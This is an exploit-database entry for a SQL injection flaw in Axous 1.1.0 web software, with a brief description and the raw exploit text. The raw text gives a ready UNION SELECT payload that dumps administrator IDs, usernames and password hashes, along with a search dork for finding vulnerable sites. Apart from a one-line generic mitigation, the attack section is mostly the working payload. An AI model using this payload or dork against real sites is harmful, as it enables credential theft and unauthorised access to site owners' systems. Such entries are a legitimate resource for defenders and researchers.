Axous 1.1.0 SQL Injection Vulnerabilitiy

vendor:

Axous 1.1.0

by:

Secure-Land Security Team

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Axous 1.1.0

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: Not available

Related CWE: Not available

CPE: Not available

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Not available

Not available

Axous 1.1.0 SQL Injection Vulnerabilitiy

Axous 1.1.0 is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending malicious SQL queries to the application. This can be done by appending malicious SQL queries to the vulnerable parameter in the URL. For example, http://[target]/page.phtml?id=-1'

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

########################################################################################
#                                                                                      #
# Exploit Title : Axous 1.1.0 SQL Injection Vulnerabilitiy                             #
#                                                                                      #
# Author        : Secure-Land Security Team                                            #
#                                                                                      #
# Discovered By : farbodmahini                                                         #
#                                                                                      #
# Home          : Secure-Land.net                                                      #
#                                                                                      #
# Version       : All Version                                                          #
#                                                                                      #
# Vendor Link   : www.axous.com                                                        #
#                                                                                      #
# Contact       : farbodmahini@yahoo.fr , farbodmahini@gmail.com                       #
#                                                                                      #
# Security Risk : High                                                                 #
#                                                                                      #
#  DorK         : intext:"Powered by Axous 1.1.0"                                      #
#                                                                                      #
#                                                                                      #
########################################################################################
#  Exploit:
#
#
#  http://[target]/page.php?id=[SQL]
#
#  [~] SQL :
#
#  page.php?id=-1+union+select+1,group_concat(id,0x3a,username,0x3a,password),3+
#  from+fdb_administrators--
#
########################################################################################
#                                                                                      #
#   Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us                                  #
#                                                                                      #
########################################################################################
#                                                                                      #
#   Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id              #
#                                                                                      #
########################################################################################